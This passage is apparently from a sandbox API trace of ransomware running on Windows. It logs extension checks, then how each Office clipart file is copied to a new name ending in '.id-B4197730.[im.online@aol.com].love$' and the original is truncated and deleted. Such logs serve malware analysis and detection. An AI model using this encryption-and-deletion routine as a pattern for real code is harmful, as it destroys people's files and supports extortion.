returned -1 [0243.136] lstrlenW (lpString=".pdf") returned 4 [0243.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.136] lstrlenW (lpString=".xls") returned 4 [0243.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.136] lstrlenW (lpString=".xlsx") returned 5 [0243.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.136] lstrlenW (lpString=".ppt") returned 4 [0243.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0243.136] lstrlenW (lpString=".zip") returned 4 [0243.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.136] lstrlenW (lpString=".rar") returned 4 [0243.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.137] lstrlenW (lpString=".bz2") returned 4 [0243.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.137] lstrlenW (lpString=".7z") returned 3 [0243.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0243.137] lstrlenW (lpString=".dbf") returned 4 [0243.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0243.137] lstrlenW (lpString=".1cd") returned 4 [0243.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0243.137] lstrlenW (lpString=".jpg") returned 4 [0243.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0243.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0243.137] lstrlenW (lpString=".doc") returned 4 [0243.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.137] lstrlenW (lpString=".docx") returned 5 [0243.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.137] lstrlenW (lpString=".pdf") returned 4 [0243.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.137] lstrlenW (lpString=".xls") returned 4 [0243.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.137] lstrlenW (lpString=".xlsx") returned 5 [0243.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.137] lstrlenW (lpString=".ppt") returned 4 [0243.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0243.138] lstrlenW (lpString=".zip") returned 4 [0243.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.138] lstrlenW (lpString=".rar") returned 4 [0243.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.138] lstrlenW (lpString=".bz2") returned 4 [0243.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.138] lstrlenW (lpString=".7z") returned 3 [0243.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0243.138] lstrlenW (lpString=".dbf") returned 4 [0243.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0243.138] lstrlenW (lpString=".1cd") returned 4 [0243.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0243.138] lstrlenW (lpString=".jpg") returned 4 [0243.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.138] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.138] lstrlenW (lpString="DD01152_.WMF") returned 12 [0243.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.139] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2960) returned 1 [0243.139] CloseHandle (hObject=0x544) returned 1 [0243.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220 [0243.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.140] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.140] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0243.141] GetLastError () returned 0x0 [0243.141] ReadFile (in: hFile=0x544, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xb90, lpOverlapped=0x0) returned 1 [0243.156] WriteFile (in: hFile=0x4ec, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xba0, lpOverlapped=0x0) returned 1 [0243.157] ReadFile (in: hFile=0x544, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.157] WriteFile (in: hFile=0x4ec, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0243.157] SetEndOfFile (hFile=0x4ec) returned 1 [0243.157] CloseHandle (hObject=0x4ec) returned 1 [0243.157] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.157] SetEndOfFile (hFile=0x544) returned 1 [0243.161] CloseHandle (hObject=0x544) returned 1 [0243.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0243.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0243.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0243.623] lstrlenW (lpString=".doc") returned 4 [0243.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.624] lstrlenW (lpString=".docx") returned 5 [0243.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.624] lstrlenW (lpString=".pdf") returned 4 [0243.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.624] lstrlenW (lpString=".xls") returned 4 [0243.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.624] lstrlenW (lpString=".xlsx") returned 5 [0243.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.624] lstrlenW (lpString=".ppt") returned 4 [0243.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0243.624] lstrlenW (lpString=".zip") returned 4 [0243.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.624] lstrlenW (lpString=".rar") returned 4 [0243.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.624] lstrlenW (lpString=".bz2") returned 4 [0243.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.624] lstrlenW (lpString=".7z") returned 3 [0243.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0243.624] lstrlenW (lpString=".dbf") returned 4 [0243.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0243.624] lstrlenW (lpString=".1cd") returned 4 [0243.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0243.624] lstrlenW (lpString=".jpg") returned 4 [0243.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0243.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0243.625] lstrlenW (lpString=".doc") returned 4 [0243.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.625] lstrlenW (lpString=".docx") returned 5 [0243.625] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.625] lstrlenW (lpString=".pdf") returned 4 [0243.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.625] lstrlenW (lpString=".xls") returned 4 [0243.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.625] lstrlenW (lpString=".xlsx") returned 5 [0243.625] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.625] lstrlenW (lpString=".ppt") returned 4 [0243.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0243.625] lstrlenW (lpString=".zip") returned 4 [0243.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.625] lstrlenW (lpString=".rar") returned 4 [0243.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.625] lstrlenW (lpString=".bz2") returned 4 [0243.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.625] lstrlenW (lpString=".7z") returned 3 [0243.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0243.625] lstrlenW (lpString=".dbf") returned 4 [0243.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0243.625] lstrlenW (lpString=".1cd") returned 4 [0243.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0243.626] lstrlenW (lpString=".jpg") returned 4 [0243.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.626] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.626] lstrlenW (lpString="DD01173_.WMF") returned 12 [0243.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.629] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1804) returned 1 [0243.629] CloseHandle (hObject=0x548) returned 1 [0243.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220 [0243.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.630] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.630] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0243.631] GetLastError () returned 0x0 [0243.631] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x70c, lpOverlapped=0x0) returned 1 [0243.633] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x710, lpOverlapped=0x0) returned 1 [0243.634] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.634] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0243.634] SetEndOfFile (hFile=0x534) returned 1 [0243.634] CloseHandle (hObject=0x534) returned 1 [0243.635] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.635] SetEndOfFile (hFile=0x548) returned 1 [0243.639] CloseHandle (hObject=0x548) returned 1 [0243.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0243.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0243.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0243.641] lstrlenW (lpString=".doc") returned 4 [0243.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.641] lstrlenW (lpString=".docx") returned 5 [0243.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.641] lstrlenW (lpString=".pdf") returned 4 [0243.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.641] lstrlenW (lpString=".xls") returned 4 [0243.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.641] lstrlenW (lpString=".xlsx") returned 5 [0243.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.641] lstrlenW (lpString=".ppt") returned 4 [0243.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0243.641] lstrlenW (lpString=".zip") returned 4 [0243.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.641] lstrlenW (lpString=".rar") returned 4 [0243.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.641] lstrlenW (lpString=".bz2") returned 4 [0243.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.641] lstrlenW (lpString=".7z") returned 3 [0243.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0243.641] lstrlenW (lpString=".dbf") returned 4 [0243.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0243.641] lstrlenW (lpString=".1cd") returned 4 [0243.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0243.641] lstrlenW (lpString=".jpg") returned 4 [0243.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0243.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0243.642] lstrlenW (lpString=".doc") returned 4 [0243.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.642] lstrlenW (lpString=".docx") returned 5 [0243.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.642] lstrlenW (lpString=".pdf") returned 4 [0243.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.642] lstrlenW (lpString=".xls") returned 4 [0243.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.642] lstrlenW (lpString=".xlsx") returned 5 [0243.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.642] lstrlenW (lpString=".ppt") returned 4 [0243.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0243.642] lstrlenW (lpString=".zip") returned 4 [0243.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.642] lstrlenW (lpString=".rar") returned 4 [0243.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.642] lstrlenW (lpString=".bz2") returned 4 [0243.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.642] lstrlenW (lpString=".7z") returned 3 [0243.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0243.642] lstrlenW (lpString=".dbf") returned 4 [0243.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0243.643] lstrlenW (lpString=".1cd") returned 4 [0243.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0243.643] lstrlenW (lpString=".jpg") returned 4 [0243.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.643] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.643] lstrlenW (lpString="DD01176_.WMF") returned 12 [0243.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.644] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1888) returned 1 [0243.644] CloseHandle (hObject=0x548) returned 1 [0243.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220 [0243.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.645] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.645] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0243.646] GetLastError () returned 0x0 [0243.646] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x760, lpOverlapped=0x0) returned 1 [0243.648] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x770, lpOverlapped=0x0) returned 1 [0243.649] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0243.649] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0243.650] SetEndOfFile (hFile=0x534) returned 1 [0243.650] CloseHandle (hObject=0x534) returned 1 [0243.650] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0243.650] SetEndOfFile (hFile=0x548) returned 1 [0243.653] CloseHandle (hObject=0x548) returned 1 [0243.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0243.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0243.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0243.655] lstrlenW (lpString=".doc") returned 4 [0243.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.655] lstrlenW (lpString=".docx") returned 5 [0243.655] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.656] lstrlenW (lpString=".pdf") returned 4 [0243.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.656] lstrlenW (lpString=".xls") returned 4 [0243.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.656] lstrlenW (lpString=".xlsx") returned 5 [0243.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.656] lstrlenW (lpString=".ppt") returned 4 [0243.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 